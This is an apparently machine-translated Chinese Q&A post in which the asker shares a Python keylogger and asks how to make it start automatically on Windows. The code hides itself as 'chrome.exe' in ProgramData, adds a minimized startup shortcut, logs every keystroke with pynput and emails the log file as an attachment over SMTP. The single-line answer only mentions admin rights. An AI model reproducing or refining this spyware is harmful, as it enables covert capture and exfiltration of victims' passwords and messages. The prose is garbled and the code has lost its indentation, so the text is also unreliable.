Python;在启动时运行的键盘记录程序
问题描述:
即时通讯编程中的新功能,我需要某种帮助。 我使用Google的示例制作了简单的“键盘记录器”。一切正常,但我不知道,如何自动添加键盘记录到自动启动。我第一次使用管理员权限运行后,尝试自动复制文件到选定的目标,然后发送快捷方式到自动启动。但问题是,每次我重新启动计算机,它都需要管理员权限,所以我只能获得警报,关于启动脚本失败,脚本崩溃。我认为它是因为,脚本每次都会尝试将文件添加到自动启动,即使其中一个已经存在。下面是代码,你可以看到,我想ifexcept块,但它仍然是行不通像我想要:(Python;在启动时运行的键盘记录程序
import logging
from pynput.keyboard import Key, Listener
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import win32com.client
import pythoncom
import os
import pathlib
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True)
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True)
import shutil
srcfile = 'chrome.exe'
dstroot = 'C:\ProgramData\degid'
dstdir = os.path.join(dstroot, os.path.dirname(srcfile))
shutil.copy(srcfile, dstdir)
filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
if os.path.exists(filePath):
if os.path.isfile(filePath+'chrome.lnk')==False:
try:
desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup'
path = os.path.join(desktop, 'chrome.lnk')
target = r'C:\ProgramData\degid\chrome.exe'
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut(path)
shortcut.Targetpath = target
shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal
shortcut.save()
except:
pass
email_user = ''
email_password = ''
email_send = ''
subject = ''
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there'
msg.attach(MIMEText(body,'plain'))
filename='C:\ProgramData\degid\degid.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('', 587)
server.starttls()
server.login(email_user,email_password)
server.sendmail(email_user,email_send,text)
server.quit()
log_dir =""
logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
答
您正在访问的目录和尝试看看,如果文件存在需要管理员prevs访问 - 即使是读取目录。